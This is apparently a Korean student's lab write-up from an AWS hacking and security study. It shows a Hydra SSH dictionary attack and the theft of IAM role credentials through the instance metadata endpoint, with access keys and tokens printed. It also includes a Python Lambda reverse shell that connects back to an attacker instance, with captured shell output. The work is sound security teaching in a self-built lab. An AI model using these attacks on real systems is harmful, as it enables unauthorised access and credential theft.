Studies/AWS - AHSS (AWS λ³΄μ•ˆ)

[2μ£Όμ°¨] IAM 취약점 및 λ³΄μ•ˆ

ReTeu 2023. 9. 6. 15:08
🚨 ν•΄λ‹Ή ν¬μŠ€νŠΈλŠ” CloudNet@의 μ„œμ’…ν˜Έ (Gasida) λ‹˜κ»˜μ„œ μ§„ν–‰ν•˜μ‹œλŠ” AHSS (AWS Hacking & Security Study) 1기의 κ°•μ˜ λ‚΄μš©μ„ λ°”νƒ•μœΌλ‘œ μž‘μ„±λ˜μ—ˆμŠ΅λ‹ˆλ‹€.

  μ €λ²ˆ 주에 이어 μ΄λ²ˆμ£Όμ—λŠ” IAM에 μ˜ν•΄ λ°œμƒν•  수 μžˆλŠ” 취약점에 λŒ€ν•΄ μ‚΄νŽ΄λ³΄κ³ , 이λ₯Ό μ–΄λ–»κ²Œ 보완할 수 μžˆλŠ”μ§€μ— λŒ€ν•΄ μ‚΄νŽ΄λ΄…μ‹œλ‹€. IAM (Identity and Access Management)λŠ” AWSμ—μ„œ μ œκ³΅ν•˜λŠ” μ›Ή μ„œλΉ„μŠ€λ‘œμ„œ, AWS λ¦¬μ†ŒμŠ€μ— λŒ€ν•œ μ ‘κ·Ό μ œμ–΄μ™€ κΆŒν•œ 관리λ₯Ό 톡해 AWS λ¦¬μ†ŒμŠ€μ— λŒ€ν•œ λ³΄μ•ˆ μˆ˜μ€€μ„ κ°•ν™”ν•˜λŠ” 역할을 ν•©λ‹ˆλ‹€.

 

μš°μ„  2μ£Όμ°¨ μ‹€μŠ΅μ„ μœ„ν•œ ν™˜κ²½μ„ μ„ΈνŒ…ν•΄λ³΄κ² μŠ΅λ‹ˆλ‹€. AWS Cloudshellμ—μ„œ μ•„λž˜μ˜ λͺ…λ Ήμ–΄λ₯Ό μž…λ ₯ν•˜μ…”λ„ 되고, ν•˜λ‹¨μ˜ μ²¨λΆ€νŒŒμΌμ„ λ‹€μš΄λ°›μ•„ μ μš©ν•˜μ…”λ„ λ©λ‹ˆλ‹€.

# λ³€μˆ˜ 지정
KEYNAME=<각자 μžμ‹ μ˜ SSH Keypair Name>

# YAML 파일 λ‹€μš΄λ‘œλ“œ
curl -O https://s3.ap-northeast-2.amazonaws.com/cloudformation.cloudneta.net/security/ahss-ec2_2ea.yaml

# CloudFormation μŠ€νƒ 배포
aws cloudformation deploy --template-file ahss-ec2_2ea.yaml --stack-name iamlab --parameter-overrides KeyName=$KEYNAME --region ap-northeast-2 --capabilities CAPABILITY_NAMED_IAM

# CloudFormation μŠ€νƒ 배포 μ™„λ£Œ ν›„ EC2 2λŒ€ IP 좜λ ₯
aws cloudformation describe-stacks --stack-name iamlab --query 'Stacks[*].Outputs[*].OutputValue' --output text
 
# 각각 EC2 SSH 접속 : μ•„λž˜ ν‚€νŒŒμΌ κ²½λ‘œλŠ” μžμ‹ μ˜ ν™˜κ²½μ— 맞게 λ³€κ²½ν•˜μž!
ssh -i ~/.ssh/kp-gasida.pem ec2-user@<μœ„ 좜λ ₯ IP>

2μ£Όμ°¨ μ‹€μŠ΅μ„ μœ„ν•œ ν…œν”Œλ¦Ώ νŒŒμΌμ€ μ•„λž˜μ—μ„œ λ‹€μš΄λ°›μ„ 수 μžˆμŠ΅λ‹ˆλ‹€.

ahss-ec2_2ea.yaml
0.01MB

 

  μœ„μ˜ ν…œν”Œλ¦Ώμ„ μ •μƒμ μœΌλ‘œ μ μš©ν•˜λ©΄ μ•„λž˜μ™€ 같이 두 개의 EC2 μΈμŠ€ν„΄μŠ€κ°€ μƒμ„±λœ 것을 확인할 수 μžˆμŠ΅λ‹ˆλ‹€. λŒ€μ‹œλ³΄λ“œ 상에 ν‘œμ‹œλ˜λŠ” 퍼블릭 ipv4 μ£Όμ†Œλ₯Ό μ΄μš©ν•˜μ—¬ μΈμŠ€ν„΄μŠ€μ— μ ‘κ·Όν•΄λ΄…μ‹œλ‹€.

참고둜 각 μΈμŠ€ν„΄μŠ€μ˜ 퍼블릭 ipv4 μ£Όμ†ŒλŠ” λͺ…λ Ήμ–΄λ₯Ό μž…λ ₯ν•œ κ²°κ³Ό, μ½˜μ†”μ—μ„œλ„ 좜λ ₯λ©λ‹ˆλ‹€. λ‘˜ 쀑에 νŽΈν•œ 방법을 μ„ νƒν•˜λ©΄ λ©λ‹ˆλ‹€.

이제 λͺ¨λ“  μ„ΈνŒ…μ΄ λλ‚¬μŠ΅λ‹ˆλ‹€. μ€€λΉ„λœ ν™˜κ²½μ—μ„œ Password Brutefoce Attackκ³Ό Lambdaλ₯Ό 이용힌 Reverse Shell μ‹€μŠ΅μ„ 진행해보도둝 ν•˜κ² μŠ΅λ‹ˆλ‹€.

 

1. Passphrase Bruteforce Attck (Dictionary Based)

  SSHλ₯Ό 톡해 μ •μƒμ μœΌλ‘œ μ ‘κ·Όν•˜μ˜€λ‹€λ©΄ Webserver의 νŒ¨μŠ€μ›Œλ“œλ₯Ό μ˜λ„μ μœΌλ‘œ μ·¨μ•½ν•œ 문ꡬ둜 λ³€κ²½ν•œ λ‹€μŒ, Attacker μΈμŠ€ν„΄μŠ€μ—μ„œ ν•΄λ‹Ή μ„œλ²„μ— 접근을 μ‹œλ„ν•΄λ³΄λ„λ‘ ν•˜κ² μŠ΅λ‹ˆλ‹€. μš°μ„  Webserver에 λ‘œκ·ΈμΈν•˜κΈ° μœ„ν•œ νŒ¨μŠ€μ›Œλ“œλ₯Ό λ©΄κ²½ν•˜λŠ” κ²ƒμ—μ„œλΆ€ν„° μ‹œμž‘ν•΄λ³΄λ„λ‘ ν•©μ‹œλ‹€.

 

[@ Webserver]

# κ΄€λ¦¬μž 확인
$ whoami

# SSH 접속 둜그 좜λ ₯
$ more /var/log/secure
$ grep Invalid /var/log/secure

# root κ³„μ •μ˜ μ•”ν˜Έ μ„€μ • - μ·¨μ•½ν•œ μ•”ν˜Έμ΄λ©° μ‹€μŠ΅ ν›„ λ°”λ‘œ ν•΄λ‹Ή EC2λ₯Ό μ‚­μ œ ν•  것
$ passwd
New password: 1212
Retype new password: 1212


# μ‹€μ‹œκ°„ 둜그 좜λ ₯
$ tail -f /var/log/secure

 

  사전 λŒ€μž… 곡격 방식을 μ΄μš©ν•΄λ³΄λ„λ‘ ν•˜κ² μŠ΅λ‹ˆλ‹€. 사전 λŒ€μž… κ³΅κ²©μ΄λž€, 말 κ·ΈλŒ€λ‘œ 사전 (dictionary)에 μ‘΄μž¬ν•˜λŠ” μ–΄νœ˜λ“€μ„ λ¬΄μž‘μœ„μ μœΌλ‘œ λŒ€μž…ν•΄λ³΄λŠ” 곡격 방식을 λ§ν•˜λŠ”λ°, μ•”ν˜Έλ‘œ 자주 μ‚¬μš©λ λ§Œν•œ λ‹¨μ–΄λ‚˜ κΈ€μž 쑰합을 리슀트 μ—… ν•˜κ³  이λ₯Ό ν•˜λ‚˜μ”© μ°¨λ‘€λŒ€λ‘œ λŒ€μž…ν•΄λ³΄λŠ” 곡격 방식을 λ§ν•©λ‹ˆλ‹€. 기쑴의 λΈŒλ£¨νŠΈν¬μ‹±λ³΄λ‹€λŠ” 쑰금 더 μ§„λ³΄ν•œ 방식이라고 ν•  수 있으며, 사전을 μƒμ„±ν•˜κΈ° μœ„ν•œ λŒ€ν‘œμ μΈ λ„κ΅¬λ‘œλŠ” κ°€λ³κ²Œ μ‚¬μš©ν•  수 μžˆλŠ” crunch tool이 μžˆμŠ΅λ‹ˆλ‹€. crunchλŠ” Kali Linux에도 기본적으둜 μ„ νƒ‘μž¬λ˜μ–΄μžˆμ„ 만큼 유λͺ…ν•œ λ„κ΅¬μ΄λ‹ˆ 잘 μ•Œμ•„λ‘λ„λ‘ ν•©μ‹œλ‹€. 이제 이 도ꡬλ₯Ό μ‚¬μš©ν•˜μ—¬ Webserver의 μ·¨μ•½ν•œ μ•”ν˜Έλ₯Ό λΈŒλ£¨νŠΈν¬μ‹±ν•΄λ³΄λ„λ‘ ν•˜κ² μŠ΅λ‹ˆλ‹€.

 

[@ Attacker]

# crunch tool 둜 사전 파일 생성 - 참고링크 μ°Έκ³ μ˜μƒ
$ cd /root/crunch-3.6
$ ./crunch 4 4 12qw -o 4chars.txt

# 사전 파일 확인, 256개의 μ•”ν˜Έ 생성
$ more 4chars.txt
$ more 4chars.txt |wc -l
  256 
 
# Hydra tool 둜 SSH Brute force attack μ‹œλ„
$ hydra -h
$ hydra -l root -P 4chars.txt -t 10 -f -V ssh://10.0.0.10
...
[22][ssh] host: 10.0.0.10   login: root   password: 1212
...

# 리λͺ¨νŠΈ λͺ…λ Ή μ‹€ν–‰
$ sshpass -p '1212' ssh -o StrictHostKeyChecking=no root@10.0.0.10 hostname
$ sshpass -p '1212' ssh -o StrictHostKeyChecking=no root@10.0.0.10 ip -c addr

 

crunch둜 사전을 μƒμ„±ν•˜κ³ , μƒμ„±λœ 사전을 ν† λŒ€λ‘œ hydraλ₯Ό μ΄μš©ν•΄ λΈŒλ£¨νŠΈν¬μ‹±μ„ μ‹œλ„ν•΄λ³΄μ•˜μŠ΅λ‹ˆλ‹€. 

사전에 μ•”ν˜Έκ°€ μ •μƒμ μœΌλ‘œ μ‘΄μž¬ν•œλ‹€λ©΄ μ•„λž˜μ™€ 같이 접속에 μ„±κ³΅ν•œ νŒ¨μŠ€μ›Œλ“œλ₯Ό μ½˜μ†”μ— 좜λ ₯ν•΄μ£Όκ³  ν”„λ‘œκ·Έλž¨μ΄ μ’…λ£Œλ©λ‹ˆλ‹€.

λΈŒλ£¨νŠΈν¬μ‹±μ„ μ‹œλ„ν•˜μž Webserver (viictim) λ‘œκ·Έμ— 단기간에 μ—¬λŸ¬λ²ˆμ˜ 접속 μ‹œλ„κ°€ μžˆμ—ˆλ‹€λ©° 곡격 μ‹œλ„μΌ 수 μžˆλ‹€λŠ” κ²½κ³ μ„± λ‘œκ·Έκ°€ μ°νžˆλŠ” λͺ¨μŠ΅μ„ tail λͺ…λ Ήμ–΄λ₯Ό μ΄μš©ν•˜μ—¬ μ‹€μ‹œκ°„μœΌλ‘œ 확인할 수 μžˆλ‹€.

	                   	         .
                   		         .
                   		         .

[ATTEMPT] target 43.200.255.226 - login "root" - pass "121q" - 19 of 256 [child 8]
[ATTEMPT] target 43.200.255.226 - login "root" - pass "121w" - 20 of 256 [child 9]
[22][ssh] host: 43.200.255.226   login: root   password: 1212
[STATUS] attack finished for 43.200.255.226 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2023-09-10 16:19:16
[root@Attacker crunch-3.6]#

 

  방금 μƒμ„±ν•œ crunch 파일만 열어보면 '1', '2', 'q', 'w' 4개의 문자만 μ‚¬μš©ν•˜μ—¬ 사전을 μƒμ„±ν•˜κ³  μžˆμ§€λ§Œ, crunch에 μ „λ‹¬ν•˜λŠ” μ˜΅μ…˜κ³Ό νŒŒλΌλ―Έν„°λ₯Ό 적절히 μ‘°μ ˆν•˜λ©΄ 훨씬 λ‹€μ–‘ν•œ μœ ν˜•μ˜ μ›μ†Œλ₯Ό μƒμ„±ν•˜λ„λ‘ ν•  수 μžˆμŠ΅λ‹ˆλ‹€. 

  λ˜ν•œ, crunchλ₯Ό μ‚¬μš©ν•΄μ„œ 사전을 μƒμ„±ν•˜λŠ” 것 이외에도, 인터넷에 κ³΅κ°œλ˜μ–΄ μžˆλŠ” 자주 μ‚¬μš©λ˜λŠ” μ•”ν˜Έ 톡계 λ“±μ˜ 자료λ₯Ό ν™œμš©ν•˜μ—¬ λ§Œλ“€μ–΄μ§„ μžλ£Œλ“€μ„ λ‹€μš΄λ±“μ•„ hydra에 μ μš©ν•˜λŠ” 것도 맀우 효과적인 곡격 방법이 될 수 μžˆμŠ΅λ‹ˆλ‹€. μ•„λž˜λŠ”  rockyou.txt와 cupp tool을 ν™œμš©ν•˜λŠ” μ˜ˆμ‹œμž…λ‹ˆλ‹€.

# 사전 파일 νšλ“
## (μ˜΅μ…˜) ꡬ글링 - μ΅œμ• (자주 μ“°λŠ”) μ•”ν˜Έ Top 10/100 리슀트, Kali Linux λ“±λ“±
## (μ˜΅μ…˜) Rockyou λŒ€μš©λŸ‰ 사전 파일 - μΌμ²œμ‚¬λ°±λ§Œκ°œ μ•”ν˜Έ 리슀트 > ν•„μš”ν•œ λΆ€λΆ„λ§Œ λ³„λ„μ˜ 파일둜 λ§Œλ“€μ–΄μ„œ μ‚¬μš©
$ cd
$ more /root/rockyou.txt
$ less /root/rockyou.txt
$ wc -l /root/rockyou.txt
  14344394

$ grep password /root/rockyou.txt
$ grep cisco /root/rockyou.txt
$ grep -F '***' /root/rockyou.txt

## (μ˜΅μ…˜) Cupp tool 개인 정보 기반 μ•”ν˜Έ 리슀트 생성 - 참고링크
$ python3 /root/cupp.py -i  → λ’€ μ§ˆλ¬Έμ€ μ „λΆ€ N ν•˜μž
μƒμ„±λœ 파일 확인
$ more ~

 

 

μ•„λž˜μ˜ λͺ…령어듀을 μ°¨λ‘€λŒ€λ‘œ μž…λ ₯ν•˜μ—¬ 좜λ ₯λ˜λŠ” λ‚΄μš©μ„ ν™•μΈν•΄λ΄…μ‹œλ‹€. μ½˜μ†”μ— 좜λ ₯λ˜λŠ” 정보듀을 ν† λŒ€λ‘œ EC2 μΈμŠ€ν„΄μŠ€μž„μ„ μœ μΆ”ν•  수 μžˆλŠ” 정보듀이 λ‹΄κ²¨μžˆμŒμ„ ν™•μΈν•΄λ³΄λŠ” 데에 μ΄ˆμ μ„ λ§žμΆ°μ•Ό ν•©λ‹ˆλ‹€.

# μ•„λž˜ 정보λ₯Ό 톡해 aws ec2 μž„μ„ 확인
whoami
pwd
ls -al
cat /etc/passwd
uname -a
hostnamectl

# IMDS 정보 확인 : IAM Role 좜λ ₯κ°’ λ©”λͺ¨ >> Token은 무엇인가? μœ νš¨κΈ°κ°„μ€ μ–Όλ§ˆμΈκ°€?
ip route
curl -s http://169.254.169.254/latest/meta-data/
curl -s http://169.254.169.254/latest/meta-data/local-ipv4 ; echo
curl -s http://169.254.169.254/latest/meta-data/public-ipv4 ; echo

curl -s http://169.254.169.254/latest/meta-data/iam/
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/IAMLabInstanceRole ; echo
{
"Code" : "Success",
"LastUpdated" : "2023-09-03T11:01:45Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA5ILF2FJIR4BKWOCU",
"SecretAccessKey" : "nDhBh3vaq7Q7VEvMO6YI3/yXTeJLDAZUoVipuH8n",
"Token" : "IQoJb+am3+1qOkHufGzPZeKO6o3JQ1lj1i3k5P/4htsUr9ARd9d4MIQ0nCN0Bc5r ... DTRKwVuWHW755aMwDGjpiQwpnw2Q=",
"Expiration" : "2023-09-03T17:11:11Z"
}

 

μš”μ¦˜μ€ Xen μ•ˆ μ“°κ³  자체적으둜 κ°œλ°œν•œ ν•˜μ΄νΌλ°”μ΄μ €λ₯Ό μ‚¬μš©ν•œλ‹€κ³  λ“€μ—ˆλŠ”λ°, 아직 μ‚¬μš©ν•˜κ³  μžˆλ‚˜λ³΄λ‹€...

IMDS에 λŒ€ν•œ μ •λ³΄λŠ” μ•„λž˜ λΈ”λ‘œκ·Έμ— 잘 μ •λ¦¬λ˜μ–΄ μžˆμœΌλ‹ˆ μ•„λž˜ 포슀트λ₯Ό μ°Έκ³ ν•˜μž.

https://malwareanalysis.tistory.com/578

 

pkos μŠ€ν„°λ”” 5μ£Όμ°¨ 1편 - AWS EC2 μΈμŠ€ν„΄μŠ€ 메타데이터

5μ£Ό μ°¨μ—μ„œλŠ” 첫 번째 μ£Όμ œλŠ” AWS EC2 μΈμŠ€ν„΄μŠ€ λ©”νƒ€λ°μ΄ν„°μž…λ‹ˆλ‹€. EC2 μΈμŠ€ν„΄μŠ€ 메타데이터 κ°œλ… μΈμŠ€ν„΄μŠ€ λ©”νƒ€λ°μ΄ν„°λŠ” κ³΅μ‹λ¬Έμ„œμ—μ„œ μ†Œκ°œν•œ κ²ƒμ²˜λŸΌ 싀행쀑인 EC2μΈμŠ€ν„΄μŠ€ λ©”νƒ€λ°μ΄ν„°μž…λ‹ˆλ‹€. 예

malwareanalysis.tistory.com

 

 

 

  μœ„μ˜ 과정을 톡해 ν”Όν•΄μžμ˜ 자격 증λͺ…정보λ₯Ό νƒˆμ·¨ν•˜μ˜€μœΌλ‹ˆ, λ‹€μŒμœΌλ‘œλŠ” 이λ₯Ό μ΄μš©ν•΄μ„œ s3, ec2 μΈμŠ€ν„΄μŠ€μ— μ ‘κ·Όν•΄λ³΄μž.

자격 증λͺ… ν•„λ“œμ— λ“€μ–΄κ°€λŠ” 각각의 값은 μœ„μ˜ μ‹€μŠ΅ 진행 κ²°κ³Ό μ–»μ–΄λ‚Έ 각자의 victim μΈμŠ€ν„΄μŠ€ 정보λ₯Ό μž…λ ₯ν•˜μ—¬μ•Ό ν•œλ‹€.

# 자격 증λͺ… 없이 μ‚¬μš©
aws s3 ls

# μœ„μ—μ„œ 좜λ ₯된 AccessKeyId , SecretAccessKey , SessionToken 으둜 μž„μ‹œμžκ²©μ¦λͺ… 적용
export AWS_ACCESS_KEY_ID="ASIA5ILF2FJIV56CCEH2"
export AWS_SECRET_ACCESS_KEY="NpvNZl5HKOTQLepywvi/XSkKRX07o5Nes8zCSfNL"
export AWS_SESSION_TOKEN="pUt323HsR2u9CwOHRz/oZh7Go9ipQwr1WgP ... w4t4w+CeIUBTFXvFTd4L3BYae8apePO8="

# s3 정보 확인
aws s3 ls

# ec2 정보 확인
aws ec2 describe-instances --region ap-northeast-2 | head

# caller id 확인 : UserId와 Arn 맨 λ’€ μ •λ³΄λŠ” μ–΄λ–€ μΈμŠ€ν„΄μŠ€ID인가?
aws sts get-caller-identity | jq
{
  "UserId": "AROA5ILF2FJI34M6UJYV2:i-04e04ce01f4653321",
  "Account": "911283464785",
  "Arn": "arn:aws:sts::911283464785:assumed-role/IAMLabInstanceRole/i-04e04ce01f4653321"
}

  Arn ν•„λ“œμ˜ κ°’μ—μ„œ κ°€μž₯ λ§ˆμ§€λ§‰μ— λ‚˜νƒ€λ‚˜μžˆλŠ” κ°’ (μœ„μ˜ μ½”λ“œλΈ”λŸ­ κΈ°μ€€μœΌλ‘œλŠ” 'i-04e04ce01f4653321')이 νƒ€κ²Ÿ μΈμŠ€ν„΄μŠ€μ˜ μΈμŠ€ν„΄μŠ€ID이닀. ν•΄λ‹Ή μΈμŠ€ν„΄μŠ€μ—μ„œ μΌμ–΄λ‚œ 이벀트 둜그λ₯Ό νŒŒμ•…ν•˜κΈ° μœ„ν•΄μ„œλŠ” AWS μ½˜μ†”μ˜ Cloudtrail κΈ°λŠ₯을 μ‚¬μš©ν•˜λ©΄ λ©λ‹ˆλ‹€. 

 

 

  ν˜„μž¬λŠ” μ•„λ¬΄λŸ° μ΄λ²€νŠΈκ°€ λ°œμƒν•˜μ§€ μ•Šμ•˜κΈ° λ•Œλ¬Έμ— μ•„λ¬΄λŸ° μ΄λ²€νŠΈλ„ μ‘°νšŒλ˜μ§€ μ•Šμ§€λ§Œ, λ°œμƒν•œ μ΄λ²€νŠΈκ°€ μ‘΄μž¬ν•œλ‹€λ©΄, ν•΄λ‹Ή μΈμŠ€ν„΄μŠ€ 아이디λ₯Ό κΈ°μ€€μœΌλ‘œ sortingν•œ κ²°κ³Όκ°€ μ•„λž˜μ™€ 같이 ν‘œμΆœλœλ‹€. λ˜ν•œ ν•˜μ΄λΌμ΄νŠΈ λ˜μ–΄μžˆλŠ” κ°œλ³„ 이벀트 이름을 ν΄λ¦­ν•˜λ©΄ μžμ„Έν•œ 정보λ₯Ό 확인할 수 μžˆλ‹€.

 

 

 

 

 

  λ‹€μŒμœΌλ‘œλŠ” AWS Lambda κΈ°λŠ₯을 μ΄μš©ν•˜μ—¬ Webserver μΈμŠ€ν„΄μŠ€μ— λ¦¬λ²„μŠ€ μ‰˜μ„ 열어보도둝 ν•˜κ² μŠ΅λ‹ˆλ‹€. root κΆŒν•œμœΌλ‘œ λ¦¬λ²„μŠ€μ‰˜μ„ νšλ“ν•  수 있게 λœλ‹€λ©΄ 곧 ν•΄λ‹Ή μ„œλ²„μ— λŒ€ν•΄ root κΆŒν•œμœΌλ‘œ μ‰˜μ„ λ‹€λ£° 수 μžˆλ‹€λŠ” 것을 μ˜λ―Έν•˜λ―€λ‘œ μ§μ ‘μ μœΌλ‘œ λŒ€λ‹¨νžˆ 큰 μœ„ν˜‘μ΄ 될 수 μžˆμŠ΅λ‹ˆλ‹€.

 

2. Opening ReverseShell via Lambda

κ°€μž₯ λ¨Όμ € Attacker μΈμŠ€ν„΄μŠ€μ—μ„œ netcat 등을 톡해 80포트λ₯Ό λ¦¬μŠ€λ‹ν•˜λ„λ‘ μ„€μ •ν•΄μ£Όμ„Έμš”.

# 퍼블릭 도메인 μ£Όμ†Œ 확인 : λ©”λͺ¨ν•΄λ‘κΈ°
$ curl -s http://169.254.169.254/latest/meta-data/public-hostname ; echo
  ec2-54-180-157-149.ap-northeast-2.compute.amazonaws.com

# netcat μ‹€ν–‰ : TCP 80 포트둜 Listen(λŒ€κΈ°)
$ nc -lvnp 80

 

  λ‹€μŒμœΌλ‘œλŠ” AWS Lambda ν™˜κ²½μ„ ꡬ성해주도둝 ν•˜κ² μŠ΅λ‹ˆλ‹€. LambdaλŠ” AWSμ—μ„œ μ œκ³΅ν•˜λŠ” ν΄λΌμš°λ“œ 기반의 μ½”λ“œ μ‹€ν–‰ μ„œλΉ„μŠ€λ‘œμ„œ, Google Colabκ³Ό μœ μ‚¬ν•œ μ„œλΉ„μŠ€λΌκ³  μƒκ°ν•˜μ‹œλ©΄ νŽΈν•  것 κ°™μŠ΅λ‹ˆλ‹€. ν΄λΌμš°λ“œ μƒμ—μ„œ κ°€μƒμ˜ λΉŒλ“œ ν™˜κ²½μ„ κ΅¬μ„±ν•˜κ³  웹을 톡해 μ½”λ“œλ₯Ό μž‘μ„±ν•˜κ±°λ‚˜ λΉŒλ“œν•˜μ—¬ ν…ŒμŠ€νŠΈκΉŒμ§€ ν•΄λ³Ό 수 μžˆλŠ” μ„œλΉ„μŠ€λ₯Ό μ œκ³΅ν•©λ‹ˆλ‹€. ν˜„μž¬ μ‹€μŠ΅μ—μ„œλŠ” μ•„λž˜μ˜ 사진과 같이 파이썬 3.7을 기반으둜 ν™˜κ²½μ„ ꡬ성해주도둝 ν•˜κ² μŠ΅λ‹ˆλ‹€.

이름 : LambdaShell,  λŸ°νƒ€μž„ : Python 3.7

 

  λ˜ν•œ, Lambda의 'ꡬ성' νƒ­μœΌλ‘œ μ΄λ™ν•˜μ—¬ μ œν•œ μ‹œκ°„μ„ 5λΆ„μœΌλ‘œ μ‘°μ •ν•΄μ£Όμ„Έμš”. 

 

λͺ¨λ“  μ€€λΉ„κ°€ λλ‚¬μœΌλ―€λ‘œ, 이제 μ½”λ“œ μ„Ήμ…˜μ— μ•„λž˜μ˜ λ‚΄μš©μ„ μž‘μ„±ν•˜κ³  μ‹€ν–‰ν•˜κΈ°λ§Œ ν•˜λ©΄ λ©λ‹ˆλ‹€. λ‹€λ§Œ, ipv4 μ£Όμ†Œκ°€ μ•„λ‹ˆλΌ μΈμŠ€ν„΄μŠ€μ˜ 퍼블릭 도메인 μ£Όμ†Œλ₯Ό 넣어야함에 μœ μ˜ν•΄μ•Ό ν•©λ‹ˆλ‹€.

# μ½”λ“œ μž‘μ„± ν›„ DeployκΉŒμ§€ μ§„ν–‰ν•΄μ£Όμ„Έμš”.

import socket,subprocess,os

def lambda_handler(event, context):
    # TODO implement
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("<각자 μžμ‹ μ˜ Attack EC2의 퍼블릭 도메인 μ£Όμ†Œ>", 80))
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    p=subprocess.call(["/bin/bash","-i"]);

 

  μ½”λ“œλ₯Ό λͺ¨λ‘ μž‘μ„±ν–ˆλ‹€λ©΄, Deploy μ™Όμͺ½μ— μžˆλŠ” 'ν…ŒμŠ€νŠΈ' λ²„νŠΌμ„ 눌러 이벀트 ν•Έλ“€λŸ¬λ₯Ό 아무 μ΄λ¦„μœΌλ‘œ μƒμ„±ν•œ λ‹€μŒ, 이벀트λ₯Ό μ‹€ν–‰μ‹œμΌœμ£Όλ©΄ μ½”λ“œκ°€ μ‹€ν–‰λ˜κ²Œ λ©λ‹ˆλ‹€. 

 

  이제 nc 등을 톡해 80ν‡νŠΈλ₯Ό κ°œλ°©ν•΄λ†¨λ˜ μ„Έμ…˜μœΌλ‘œ λŒμ•„μ™€λ³΄λ©΄ λ¦¬λ²„μŠ€μ‰˜μ΄ μ˜€ν”ˆλ˜μ–΄μžˆλŠ” λͺ¨μŠ΅μ„ 확인할 수 μžˆμŠ΅λ‹ˆλ‹€.

μ•„λž˜μ˜ μ½”λ“œλΈ”λŸ­κ³Ό 같이 λ‹€μ–‘ν•œ λͺ…λ Ήμ–΄λ₯Ό 싀행해보며 ν™•μΈν•΄λ΄…μ‹œλ‹€.

#
[root@Attacker ~]# nc -lvnp 80
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 3.34.200.96.
Ncat: Connection from 3.34.200.96:32820.
bash: no job control in this shell
# μ•„λž˜ μ—°κ²° 성곡
------------------------------
bash-4.2$ whoami
sbx_user1051

bash-4.2$ id
uid=993(sbx_user1051) gid=990 groups=990

bash-4.2$ ls -al
total 5
drwxr-xr-x  2 root root   41 Sep  3 14:04 .
drwxr-xr-x 24 root root 4096 Jun 12 18:36 ..
-rwxr-xr-x  1 root root  337 Sep  3 14:04 lambda_function.py
bash-4.2$ pwd
/var/task

bash-4.2$ tail /etc/passwd
sbx_user1168:x:876:873::/home/sbx_user1168:/sbin/nologin
sbx_user1169:x:875:872::/home/sbx_user1169:/sbin/nologin
sbx_user1170:x:874:871::/home/sbx_user1170:/sbin/nologin
sbx_user1171:x:873:870::/home/sbx_user1171:/sbin/nologin
sbx_user1172:x:872:869::/home/sbx_user1172:/sbin/nologin
sbx_user1173:x:871:868::/home/sbx_user1173:/sbin/nologin
sbx_user1174:x:870:867::/home/sbx_user1174:/sbin/nologin
sbx_user1175:x:869:866::/home/sbx_user1175:/sbin/nologin
sbx_user1176:x:868:865::/home/sbx_user1176:/sbin/nologin
dnsmasq:x:867:864:Dnsmasq DHCP and DNS server:/var/lib/dnsmasq:/sbin/nologin

bash-4.2$ curl -s ipinfo.io/ip; echo
3.34.200.96

bash-4.2$ df -hT
Filesystem     Type      Size  Used Avail Use% Mounted on
/dev/vde       ext4      243G  240G     0 100% /
/dev/vdb       ext4      1.5G  9.4M  1.4G   1% /dev
/dev/vdd       ext4      525M  8.0K  514M   1% /tmp
/dev/root      ext4      9.7G  555M  9.2G   6% /var/rapid
/dev/vdc       squashfs  128K  128K     0 100% /var/task

'Studies > AWS - AHSS (AWS λ³΄μ•ˆ)' μΉ΄ν…Œκ³ λ¦¬μ˜ λ‹€λ₯Έ κΈ€

[1μ£Όμ°¨] S3 취약점 및 λ³΄μ•ˆ  (0) 2023.08.30